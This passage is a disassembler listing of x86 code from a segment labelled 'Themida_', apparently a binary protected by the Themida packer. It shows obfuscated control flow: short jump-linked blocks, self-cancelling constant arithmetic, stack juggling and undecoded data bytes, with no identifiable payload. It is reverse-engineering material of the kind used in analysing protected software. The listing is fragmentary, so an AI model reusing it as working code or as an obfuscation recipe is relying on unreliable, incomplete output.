		pop	dx
		movzx	eax, al
		lea	eax, [edi+eax*4]
		jmp	loc_568D56
; ---------------------------------------------------------------------------

loc_55932F:				; CODE XREF: Themida_:0055F659j
		dec	bl
		jge	loc_55914E
		xor	bl, 76h
		jmp	loc_55E36B
; ---------------------------------------------------------------------------
		db 0BAh
		dd 48F45D8h
		db 52h
; ---------------------------------------------------------------------------

loc_559345:				; CODE XREF: Themida_:005618FFj
		xor	edx, edi
		jmp	loc_55D6C0
; ---------------------------------------------------------------------------
		dd 8B0FC234h, 54B6h, 8B0FE0D0h,	72B9h, 0E1538D0Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559362:				; CODE XREF: Themida_:005666B8j
		push	ebx
		push	esi
		mov	esi, 294460C8h
		mov	ebx, esi
		pop	esi
		jmp	loc_563D91
; ---------------------------------------------------------------------------
		db 5, 0B4h, 34h
		dd 0A7056D0Ah, 0E96CA710h, 0CB22h
; ---------------------------------------------------------------------------

loc_559380:				; CODE XREF: Themida_:0056B764j
		pop	esp
		jmp	loc_569B18
; ---------------------------------------------------------------------------

loc_559386:				; CODE XREF: Themida_:0056B36Aj
		pop	esi
		jmp	loc_55DB74
; ---------------------------------------------------------------------------

loc_55938C:				; CODE XREF: Themida_:005578C1j
		pop	eax
		add	ecx, esi
		pop	esi
		push	17DCh
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_563833
; ---------------------------------------------------------------------------

loc_5593A2:				; CODE XREF: Themida_:00564772j
		mov	edi, 47E37721h
		dec	edi
		jmp	loc_55F69F
; ---------------------------------------------------------------------------

loc_5593AD:				; CODE XREF: Themida_:00557B70j
		neg	eax
		jmp	loc_5686E2
; ---------------------------------------------------------------------------

loc_5593B4:				; CODE XREF: Themida_:0056936Cj
		xor	eax, 14F21574h
		inc	eax
		jnp	loc_5626FA
		or	eax, 70F652EAh
		ja	loc_55FD0C
		xor	eax, 20300C1Bh
		jmp	loc_5647C1
; ---------------------------------------------------------------------------

loc_5593D5:				; CODE XREF: Themida_:0056C04Ej
		xor	eax, 6E5B1E03h
		push	eax
		not	dword ptr [esp]
		jmp	loc_565CBF
; ---------------------------------------------------------------------------

loc_5593E3:				; CODE XREF: Themida_:00559A71j
		add	esp, 4
		jmp	loc_56AA48
; ---------------------------------------------------------------------------

loc_5593EE:				; CODE XREF: Themida_:00556B2Bj
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	ebx, 39807359h
		jmp	loc_557C1E
; ---------------------------------------------------------------------------
		dw 0D668h
		dd 89000011h, 0FB89241Ch, 685BD889h, 73CBh, 52240489h
		dd 8836FBBAh, 5755E907h, 0F8290000h, 2404875Fh,	2434895Ch
		dd 6A23BA52h, 0D6892D78h, 6EEC15Ah, 4F55BB53h, 0DE214DBFh
		dd 4E6C15Bh, 0E9D6F74Eh, 0C2E4h
; ---------------------------------------------------------------------------

loc_55944C:				; CODE XREF: Themida_:00565A83j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_561AB2
; ---------------------------------------------------------------------------
		db 1
aUS		db 'Н]Иф',0Dh,0
		dw 8B00h
		dd 0C483241Ch, 0F89E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55946A:				; CODE XREF: Themida_:0055E923j
		mov	edi, [esp]
		jmp	loc_557C6B
; ---------------------------------------------------------------------------

loc_559472:				; CODE XREF: Themida_:00561C2Cj
		mov	esp, [esp]
		add	edi, 4
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		push	ebx
		jmp	loc_55A600
; ---------------------------------------------------------------------------

loc_55948B:				; CODE XREF: Themida_:0056AC16j
		mov	[esp], edx
		jmp	loc_56B79F
; ---------------------------------------------------------------------------

loc_559493:				; CODE XREF: Themida_:00567815j
		add	ecx, 29A5C4FCh
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		jmp	loc_559D44
; ---------------------------------------------------------------------------

loc_5594AC:				; CODE XREF: Themida_:0056C3CEj
		or	ebx, 7FCB34F5h
		push	edi
		jmp	loc_55BA18
; ---------------------------------------------------------------------------

loc_5594B8:				; CODE XREF: Themida_:00557F09j
		pop	esp
		mov	[esp], ebx
		push	ecx
		push	75D471B5h
		pop	ecx
		jmp	loc_56BC35
; ---------------------------------------------------------------------------

loc_5594C8:				; CODE XREF: Themida_:00566BA1j
					; Themida_:0056D129j
		neg	edi
		jmp	loc_56B6FD
; ---------------------------------------------------------------------------
		db 52h
		dd 3160BBAh, 5BE95274h
		db 0DCh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5594DB:				; CODE XREF: Themida_:0055A3EEj
		mov	ecx, edi
		pop	edi
		sub	ecx, ebx
		jmp	loc_56C8F9
; ---------------------------------------------------------------------------

loc_5594E5:				; CODE XREF: Themida_:00561102j
		and	dh, 78h
		add	dh, 9Bh
		add	ah, dh
		pop	edx
		mov	dh, ah
		pop	eax
		jmp	loc_55FA5D
; ---------------------------------------------------------------------------

loc_5594F6:				; CODE XREF: Themida_:0055FA58j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 500E55F9h
		add	ebp, 7D0E4E87h
		add	ebp, edi
		sub	ebp, 7D0E4E87h
		pop	edi
		pop	esi
		jmp	loc_56963C
; ---------------------------------------------------------------------------

loc_559519:				; CODE XREF: Themida_:005689FAj
		mov	edx, 322A1555h
		add	edx, 4C13A9B2h
		jmp	loc_564232
; ---------------------------------------------------------------------------

loc_559529:				; CODE XREF: Themida_:0055D342j
		jns	loc_558711
		jmp	loc_55B5E3
; ---------------------------------------------------------------------------
		dd 0D2DBF57h, 0FA3151F6h
		db 8Ah,	0C4h
; ---------------------------------------------------------------------------

loc_55953E:				; CODE XREF: Themida_:loc_55ECDAj
		shr	ecx, 1
		jmp	loc_55D1D2
; ---------------------------------------------------------------------------

loc_559545:				; CODE XREF: Themida_:0056BC85j
		pop	eax
		push	edx
		mov	edx, 0BC01354h
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, ecx
		add	eax, 0BC01354h
		pop	ecx
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_56C10A
; ---------------------------------------------------------------------------

loc_559572:				; CODE XREF: Themida_:loc_559DB3j
		jmp	loc_556954
; ---------------------------------------------------------------------------

loc_559577:				; CODE XREF: Themida_:00556E8Dj
		mov	[esp], edx
		mov	dx, 74D1h
		mov	bp, dx
		pop	edx
		jmp	loc_564051
; ---------------------------------------------------------------------------

loc_559587:				; CODE XREF: Themida_:0055D25Fj
		xor	esi, 1AEB0C4Bh
		mov	edx, esi
		pop	esi
		add	ebx, edx
		jmp	loc_5595D4
; ---------------------------------------------------------------------------
		db 59h
		dd 240C8B56h, 4C481h, 15E0000h,	8E959CBh
		db 0FEh, 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55EA47
; ---------------------------------------------------------------------------

loc_5595B9:				; CODE XREF: Themida_:0056AB67j
		pop	edx
		add	[edx+38h], ecx
		pop	ecx
		pop	edi
		push	ebp
		mov	ebp, 0F26682CEh
		add	[edx+38h], ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_559949
; ---------------------------------------------------------------------------

loc_5595D4:				; CODE XREF: Themida_:00557490j
					; Themida_:00559592j ...
		add	ecx, 4
		push	edi
		mov	edi, 2
		jmp	loc_55A5A3
; ---------------------------------------------------------------------------

loc_5595E5:				; CODE XREF: Themida_:00568D73j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 2
		add	ebx, ecx
		pop	ecx
		jmp	loc_55AEFE
; ---------------------------------------------------------------------------

loc_559601:				; CODE XREF: Themida_:00558D0Bj
		sub	edx, ebp
		sub	edx, 3BEF0346h
		sub	edx, 45FF10E6h
		mov	ebp, [esp]
		jmp	loc_564D65
; ---------------------------------------------------------------------------

loc_559617:				; CODE XREF: Themida_:0055A26Cj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	ebx
		pop	dword ptr [edi+24h]

loc_55962A:				; CODE XREF: Themida_:loc_5622C8j
		push	25C5h
		mov	[esp], ebp
		push	6093h
		jmp	loc_560756
; ---------------------------------------------------------------------------
dword_55963C	dd 240C8B66h, 10629E9h	; DATA XREF: Themida_:0055612Co
		db 0
; ---------------------------------------------------------------------------

loc_559645:				; CODE XREF: Themida_:005569DFj
					; Themida_:loc_55974Cj
		add	esp, 4
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_55964D:				; CODE XREF: Themida_:005666D3j
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_560530
; ---------------------------------------------------------------------------

loc_55965C:				; CODE XREF: Themida_:0055E225j
		sub	ebx, 2
		push	0F38h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_561E23
; ---------------------------------------------------------------------------
		db 83h
		dd 248904ECh, 24048124h, 4, 0E9242C8Bh,	0B5A3h
; ---------------------------------------------------------------------------

loc_559688:				; CODE XREF: Themida_:00558E76j
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_56AC4C
; ---------------------------------------------------------------------------

loc_5596A1:				; CODE XREF: Themida_:00562255j
		mov	ebp, 490776B0h
		push	edx
		mov	edx, 4EEC46FFh
		jmp	loc_55A40E
; ---------------------------------------------------------------------------

loc_5596B1:				; CODE XREF: Themida_:00564F50j
		mov	edx, 4
		mov	ecx, edx
		jmp	loc_5629DA
; ---------------------------------------------------------------------------

loc_5596BD:				; CODE XREF: Themida_:005612B6j
		pop	ebp
		add	edx, eax
		pop	eax
		mov	esi, [esp]
		add	esp, 4
		add	edx, ebx
		push	7BB1h
		mov	[esp], eax
		mov	eax, 20750D87h
		shr	eax, 5
		neg	eax
		shr	eax, 5
		xor	eax, 1FA4AF76h
		push	ecx
		mov	ecx, 67F21524h
		sub	ecx, 1D3AC190h
		sub	edx, ecx
		pop	ecx
		add	edx, eax
		add	edx, 4AB75394h
		pop	eax
		add	edx, 44853C85h
		mov	ebx, [esp]
		jmp	loc_5679D6
; ---------------------------------------------------------------------------

loc_55970C:				; CODE XREF: Themida_:0055DAEFj
		sub	eax, 4
		jmp	loc_5598A3
; ---------------------------------------------------------------------------

loc_559714:				; CODE XREF: Themida_:00560596j
		inc	ecx
		push	edx
		mov	edx, 6C4A6B5Eh
		jmp	loc_55F375
; ---------------------------------------------------------------------------

loc_559720:				; CODE XREF: Themida_:0056B3EEj
		mov	ecx, 5AD90087h
		jmp	loc_55F14C
; ---------------------------------------------------------------------------

loc_55972A:				; CODE XREF: Themida_:005643EEj
					; Themida_:0056B6DCj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_566244
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 4
		dd 0E9000000h, 0FB4h
; ---------------------------------------------------------------------------

loc_559740:				; CODE XREF: Themida_:0056342Bj
		xchg	eax, [esp]
		pop	esp
		shr	edx, 8
		jmp	loc_565E72
; ---------------------------------------------------------------------------

loc_55974C:				; CODE XREF: Themida_:loc_5686E2j
		jmp	loc_559645
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 8904EC83h, 6850241Ch, 144B3806h, 1F2A2D58h, 0C389122Fh
		dd 8324048Bh, 0C38104C4h, 7AA47CE5h, 0EBCAE9h
		db 0
; ---------------------------------------------------------------------------

loc_559779:				; CODE XREF: Themida_:00567C44j
					; Themida_:00569C9Aj
		pop	dword ptr [esp]
		pop	esp
		and	ecx, ebp
		push	dword ptr [esp]
		jmp	loc_56AEF5
; ---------------------------------------------------------------------------
		db 4
		dd 6C04D1h, 9AE952D8h
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_559793:				; CODE XREF: Themida_:00567D97j
		pop	esp
		xor	[esp], eax
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_55979D:				; CODE XREF: Themida_:0055763Aj
		sub	edx, 6A1C73ACh
		sub	edx, eax
		add	edx, 6A1C73ACh
		push	esi
		mov	esi, 424E3CBCh
		add	edx, esi
		pop	esi
		jmp	loc_564AAA
; ---------------------------------------------------------------------------
		db 54h,	8Bh, 4
		dd 4C48324h, 405h, 5521E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5597CA:				; CODE XREF: Themida_:00563524j
		mov	ebx, [esp]
		jmp	loc_55E3DE
; ---------------------------------------------------------------------------
		dw 2BDh
		dd 1000000h, 0F47BE9EBh, 0C689FFFFh, 8BF00958h,	0C4832434h
		dd 0BA525504h, 3A95766Ah, 148BD589h, 9CF2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5597FA:				; CODE XREF: Themida_:loc_56BE7Ej
		xchg	eax, ebx
		not	eax
		xchg	eax, ebx
		or	ebx, 3C031EECh
		jz	loc_56C083
		push	eax
		mov	eax, 200F68A1h
		shr	eax, 3
		inc	eax
		shl	eax, 8
		jmp	loc_56AB7B
; ---------------------------------------------------------------------------
		dd 54242C89h, 4BB535Dh,	1000000h, 39E95BDDh, 0C0000104h
		dd 516605EFh, 0D1F6F988h, 8B66CF88h, 0B5E9240Ch
		db 0A5h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_559843:				; CODE XREF: Themida_:00557E95j
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_563EF1
; ---------------------------------------------------------------------------

loc_559857:				; CODE XREF: Themida_:005619B2j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_56C1FE
; ---------------------------------------------------------------------------

loc_559864:				; CODE XREF: Themida_:loc_556402j
					; Themida_:00569D0Fj
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_55D59C
; ---------------------------------------------------------------------------

loc_559875:				; CODE XREF: Themida_:00560448j
		push	ebx
		push	712Bh
		mov	[esp], eax
		jmp	loc_55878E
; ---------------------------------------------------------------------------

loc_559883:				; CODE XREF: Themida_:0055BEF9j
		pop	edx
		add	ebx, ecx
		pop	ecx
		push	edi
		mov	edi, 4
		jmp	loc_560E40
; ---------------------------------------------------------------------------

loc_559892:				; CODE XREF: Themida_:0056448Ej
		pop	eax
		shl	ecx, 6
		neg	ecx
		push	esi
		jmp	loc_568FC3
; ---------------------------------------------------------------------------

loc_55989E:				; CODE XREF: Themida_:0055ACE1j
		jmp	loc_55F994
; ---------------------------------------------------------------------------

loc_5598A3:				; CODE XREF: Themida_:0055970Fj
					; Themida_:loc_568AB0j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 0A6E5B19h
		push	edx
		mov	edx, 8DDF297Eh
		sub	esi, edx
		pop	edx
		jmp	loc_559D4A
; ---------------------------------------------------------------------------

loc_5598BD:				; CODE XREF: Themida_:0056762Bj
		pop	edx
		or	ah, 8Ch
		shr	ah, 2
		jmp	loc_5677E9
; ---------------------------------------------------------------------------

loc_5598C9:				; CODE XREF: Themida_:0055892Cj
		mov	edx, ebx
		pop	ebx
		dec	edx
		neg	edx
		push	0F70h
		jmp	loc_5663A7
; ---------------------------------------------------------------------------
aCAMs		db 'юГ',8,'─гmИс:',0
		align 4

loc_5598E4:				; CODE XREF: Themida_:00568116j
		mov	ebx, 51482B25h
		push	edx
		jmp	loc_55EDA1
; ---------------------------------------------------------------------------

loc_5598EF:				; CODE XREF: Themida_:00565E85j
		mov	[esp], eax
		push	1FECh
		mov	[esp], edx
		push	esi
		mov	esi, 2B7E6720h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esi
		push	edi
		add	dword ptr [esp], 5DEB73AFh
		jmp	loc_564625
; ---------------------------------------------------------------------------

loc_559915:				; CODE XREF: Themida_:00562D43j
		neg	ebp
		and	ebp, 7B0877B4h
		shl	ebp, 7
		or	ebp, 4CFC0243h
		push	edi
		mov	edi, 59BD46C0h
		jmp	loc_55E8B2
; ---------------------------------------------------------------------------
		db 0F7h, 14h, 24h
aZvs		db 'ZVИ!"',0
		db 0
; ---------------------------------------------------------------------------

loc_55993B:				; CODE XREF: Themida_:0056464Aj
		push	edi
		jmp	loc_5638D0
; ---------------------------------------------------------------------------

loc_559941:				; CODE XREF: Themida_:0055FB88j
		mov	[esp], edi
		jmp	loc_55EDCA
; ---------------------------------------------------------------------------

loc_559949:				; CODE XREF: Themida_:005595CFj
					; Themida_:0055E88Aj
		sub	esp, 4
		jmp	loc_562145
; ---------------------------------------------------------------------------
aSfq		db ')ьИДQ',0
		align 4

loc_559958:				; CODE XREF: Themida_:0055D547j
		mov	[esp], edx
		push	68A8h
		mov	[esp], esp
		jmp	loc_56C348
; ---------------------------------------------------------------------------

loc_559968:				; CODE XREF: Themida_:005626FFj
		xor	eax, 20300C1Bh
		jmp	loc_56C3FC
; ---------------------------------------------------------------------------

loc_559972:				; CODE XREF: Themida_:00565CCDj
		add	ebx, edi
		sub	ebx, 72BB619Fh
		add	ebx, 67641B2Bh
		jmp	loc_55F5D3
; ---------------------------------------------------------------------------

loc_559985:				; CODE XREF: Themida_:005678A6j
		push	dword ptr [esp]
		jmp	loc_55ADCF
; ---------------------------------------------------------------------------

loc_55998D:				; CODE XREF: Themida_:0056CF4Fj
		add	cl, 4Ah
		add	bl, cl
		jmp	loc_55F64E
; ---------------------------------------------------------------------------

loc_559997:				; CODE XREF: Themida_:0055CD89j
		xor	edi, 0AD3AEDFFh
		add	ebp, edi
		jmp	loc_569F16
; ---------------------------------------------------------------------------

loc_5599A4:				; CODE XREF: Themida_:00568844j
		mov	ecx, 3E2B7F12h
		jmp	loc_558498
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 95E95B24h
		db 2Ah,	1, 0
; ---------------------------------------------------------------------------

loc_5599B7:				; CODE XREF: Themida_:00559BF7j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]

loc_5599C0:				; CODE XREF: Themida_:005569F2j
		push	2B8Ah
		mov	[esp], edx
		jmp	loc_56568C
; ---------------------------------------------------------------------------
		db 0BFh, 7Eh, 7Ah
		dd 0F729A7EDh, 13C7815Eh, 0C111DA31h, 0EF8108EFh, 306271A9h
		dd 43EF81h, 0FE310193h,	1111BE9h, 0F4840F00h, 45000049h
		dd 4EB48C0Fh, 71E90000h, 8B000055h, 0C481243Ch,	4, 5C2DBE56h
		dd 0F74E13E8h, 41E956D6h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559A1B:				; CODE XREF: Themida_:0056C4BEj
		add	esp, 4
		add	[esp], eax
		push	eax
		mov	eax, 11967EE9h
		add	[esp+4], eax
		mov	eax, [esp]
		push	3663h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5607CA
; ---------------------------------------------------------------------------

loc_559A4C:				; CODE XREF: Themida_:00564C26j
		mov	ch, 0DBh
		add	al, 9Ch
		sub	al, ch
		sub	al, 9Ch
		jmp	loc_568784
; ---------------------------------------------------------------------------

loc_559A59:				; CODE XREF: Themida_:0056759Bj
		mov	[esp], edi
		mov	edi, 3D3F7DE8h
		neg	edi
		sub	edi, 0C5478742h
		xor	ebx, edi
		pop	edi
		mov	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_5593E3
; ---------------------------------------------------------------------------

loc_559A76:				; CODE XREF: Themida_:00568E68j
		push	ebx
		mov	bh, 0E8h
		jmp	loc_558912
; ---------------------------------------------------------------------------

loc_559A7E:				; CODE XREF: Themida_:0056C4D2j
		sub	ebx, 59032210h
		add	ebp, 443B36C0h
		jmp	loc_5688B1
; ---------------------------------------------------------------------------
		db 81h
		dd 890D7BE9h, 72E9817Ah, 1BA56E2h, 0A38EE9CBh, 3C890000h
		dd 81E78924h, 4C7h, 0DCBB5300h,	810A831Eh, 7F3E76E3h, 5EBC12Ch
		dd 4AFEE9h, 24248B00h, 4AB2E9h
		db 0
; ---------------------------------------------------------------------------

loc_559AC9:				; CODE XREF: Themida_:0055EEB0j
		pop	ecx
		push	ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 74EB73D9h
		xor	[esp+4], ebp
		pop	ebp
		jmp	loc_56088E
; ---------------------------------------------------------------------------

loc_559AE3:				; CODE XREF: Themida_:0056B7BAj
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		push	34E1h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		jmp	loc_55F52F
; ---------------------------------------------------------------------------

loc_559B0A:				; CODE XREF: Themida_:005564E6j
					; Themida_:loc_556AAAj
		sub	esi, 1F580B19h
		mov	ebx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_563CFC
; ---------------------------------------------------------------------------

loc_559B20:				; CODE XREF: Themida_:00563CA9j
		xchg	edx, [esp]
		pop	esp
		shl	ebp, 2
		jmp	loc_559BFC
; ---------------------------------------------------------------------------

loc_559B2C:				; CODE XREF: Themida_:00562060j
		jmp	loc_567AA5
; ---------------------------------------------------------------------------

loc_559B31:				; CODE XREF: Themida_:0055A6EFj
		mov	esi, 0AF67FFEh
		add	ebx, esi
		jmp	loc_55E1C2
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 17h
		dd 0B978C00Bh, 0F4BD59C4h, 0F75AD129h, 268D0FD9h, 0C1000098h
		dd 840F08E1h, 0FFFFECDCh, 0D8BEC181h, 0CD313286h, 64F58159h
		dd 0E971D979h, 0FFFFE8FDh
; ---------------------------------------------------------------------------

loc_559B70:				; CODE XREF: Themida_:00558DF3j
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_55A1BB
; ---------------------------------------------------------------------------

loc_559B7D:				; CODE XREF: Themida_:00556B68j
		xor	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ebp, 0D5D2B66h
		add	ebp, ecx
		push	eax
		jmp	loc_5637D3
; ---------------------------------------------------------------------------

loc_559B93:				; CODE XREF: Themida_:00565757j
		add	esi, 0BA7FBBF1h
		jmp	loc_564E8D
; ---------------------------------------------------------------------------

loc_559B9E:				; CODE XREF: Themida_:0055FADAj
		push	ecx
		mov	ecx, 3F472EE9h
		or	edi, ecx
		pop	ecx
		jmp	loc_55D5AC
; ---------------------------------------------------------------------------
dword_559BAC	dd 4EC83ACh, 51241489h,	50B6DAB5h, 34FFEE30h, 73E95924h
					; DATA XREF: Themida_:005560B4o
		db 3, 1, 0
; ---------------------------------------------------------------------------

loc_559BC3:				; CODE XREF: Themida_:0055F78Fj
		mov	esi, [esp]
		add	esp, 4
		sub	eax, 7CC0685Bh
		sub	eax, ecx
		add	eax, 7CC0685Bh
		jmp	loc_562152
; ---------------------------------------------------------------------------

loc_559BDD:				; CODE XREF: Themida_:0056A622j
		push	5585h
		mov	[esp], edx
		jmp	loc_569DF7
; ---------------------------------------------------------------------------

loc_559BEA:				; CODE XREF: Themida_:0055CA2Aj
					; Themida_:0055F66Aj
		pop	dword ptr [esp]
		pop	esp
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_5599B7
; ---------------------------------------------------------------------------

loc_559BFC:				; CODE XREF: Themida_:00559B27j
		shl	ebp, 2
		add	ebp, 0B7F18B60h
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, ebp
		push	ebx
		mov	ebx, edi
		mov	ecx, ebx
		pop	ebx
		mov	edi, [esp]
		push	ebx
		jmp	loc_563E79
; ---------------------------------------------------------------------------

loc_559C29:				; CODE XREF: Themida_:0055C2D7j
		mov	eax, 635F3EE5h
		jmp	loc_556557
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0E271h
; ---------------------------------------------------------------------------

loc_559C38:				; CODE XREF: Themida_:0056B830j
		mov	ebp, [esp]
		jmp	loc_55D61F
; ---------------------------------------------------------------------------

loc_559C40:				; CODE XREF: Themida_:0055EA81j
					; Themida_:00560C70j
		and	esi, eax
		pop	eax
		sub	esi, 0BB003FDh
		add	ebx, esi
		pop	esi
		push	edi
		jmp	loc_5577E0
; ---------------------------------------------------------------------------

loc_559C52:				; CODE XREF: Themida_:0055836Dj
		mov	edi, [esp]
		jmp	loc_55D99F
; ---------------------------------------------------------------------------

loc_559C5A:				; CODE XREF: Themida_:0056CA92j
		pop	ebx
		push	edx
		jmp	loc_55BB0B
; ---------------------------------------------------------------------------

loc_559C61:				; CODE XREF: Themida_:0055ECBDj
		mov	ah, 0E3h
		sub	cl, ah
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_56C5BF
; ---------------------------------------------------------------------------

loc_559C7D:				; CODE XREF: Themida_:00566FA0j
		add	[esp+4], edx
		jmp	loc_561DA8
; ---------------------------------------------------------------------------

loc_559C86:				; CODE XREF: Themida_:00569D7Bj
		not	esi
		jmp	loc_567867
; ---------------------------------------------------------------------------
		db 59h,	81h, 0F5h
		dd 53866751h, 6DE9DDF7h, 10000EFh, 8E95EF7h, 0F7000065h
		dd 0FDEF7D6h, 117308Eh,	61B95100h, 0E91BA235h, 5A8Dh, 5AFBBA52h
		dd 0D63139C2h, 0E9D6F75Ah, 52CFh, 9B29FAB8h, 58C13128h
		dd 1DE9CF29h, 5F0000D5h, 0FFEC18E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559CDD:				; CODE XREF: Themida_:00556729j
		mov	ebx, 29DA29A2h
		jmp	loc_56C250
; ---------------------------------------------------------------------------

loc_559CE7:				; CODE XREF: Themida_:loc_556CCBj
		shr	edi, 1
		jnz	loc_561F08
		sub	edi, 7F7DFDEFh
		mov	eax, edi
		mov	bh, dl
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_55831D
; ---------------------------------------------------------------------------

loc_559D2F:				; CODE XREF: Themida_:00567C24j
		or	eax, eax
		jz	loc_56A32E
		push	dword ptr [edi+28h]
		push	2EB9h
		jmp	loc_55F471
; ---------------------------------------------------------------------------

loc_559D44:				; CODE XREF: Themida_:005594A7j
		push	edx
		jmp	loc_55CE48
; ---------------------------------------------------------------------------

loc_559D4A:				; CODE XREF: Themida_:005598B8j
		neg	esi
		jz	loc_55F592
		sub	esi, 67712509h
		add	esi, 0E4005AA0h
		sub	edi, 21A1692Bh
		jmp	loc_55EFBB
; ---------------------------------------------------------------------------

loc_559D69:				; CODE XREF: Themida_:00564688j
		push	35C20BBBh
		mov	ebp, [esp]
		jmp	loc_566FC1
; ---------------------------------------------------------------------------

loc_559D76:				; CODE XREF: Themida_:005567EEj
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		push	edi
		mov	edi, 4
		sub	dword ptr [esp+4], 68B4087h
		jmp	loc_5624BB
; ---------------------------------------------------------------------------

loc_559D92:				; CODE XREF: Themida_:005578B5j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5655DF
; ---------------------------------------------------------------------------

loc_559D9D:				; CODE XREF: Themida_:0055772Fj
					; Themida_:005629D2j
		sub	edx, 2D5458B2h
		jmp	loc_5583AE
; ---------------------------------------------------------------------------

loc_559DA8:				; CODE XREF: Themida_:0056B7F8j
		jg	loc_55EC01
		jmp	loc_5629BC
; ---------------------------------------------------------------------------

loc_559DB3:				; CODE XREF: Themida_:0055870Cj
		jge	loc_559572
		jmp	loc_55BCEA
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0D1BA6624h
		db 74h,	88h, 0E3h
; ---------------------------------------------------------------------------

loc_559DC7:				; CODE XREF: Themida_:00566E56j
		push	esp
		pop	ebp
		push	edx
		mov	edx, 0FED6AC0h
		not	edx
		xor	edx, 5BD83154h
		xor	edx, 0ABCAA46Fh
		add	ebp, edx
		pop	edx
		push	edi
		mov	edi, 7E327C6Bh
		shr	edi, 1
		xor	edi, 4E843789h
		dec	edi
		xchg	esi, edi
		neg	esi
		xchg	esi, edi
		add	edi, 719D09BFh
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	esi
		mov	esi, 6DF73F65h
		xor	esi, 314725C9h
		mov	ecx, esi
		pop	esi
		push	ebx
		jmp	loc_55EFE8
; ---------------------------------------------------------------------------

loc_559E1A:				; CODE XREF: Themida_:00556ACCj
		pop	esi
		mov	edi, [esp]
		add	esp, 4
		push	esi
		push	ebx
		push	ecx
		push	6F9065F1h
		pop	ecx
		not	ecx
		sub	ecx, 54EF80D5h
		jmp	loc_55BBF5
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4C381h, 0CE680000h, 89000021h, 0B6B9240Ch, 5128545Bh
		dd 592414F7h, 10C9BF57h, 0F9312358h, 52D1F75Fh,	4C5ABB53h
		dd 0E3815FD1h, 70B63B44h, 0AC6820Fh, 0C3810000h, 0A3200C1h
		dd 0F268D0Fh, 0D9E90000h, 0FE00012Ch, 0C9C280CBh, 4C381h
		dd 0C3830000h, 241C8704h, 4C4835Ch, 11D36857h, 24890000h
		dd 24048124h, 4, 4C7815Fh, 56000000h, 4EC81h, 2C890000h
		dd 14A4BD24h, 27BE5613h, 1D18943h, 80CE9EEh
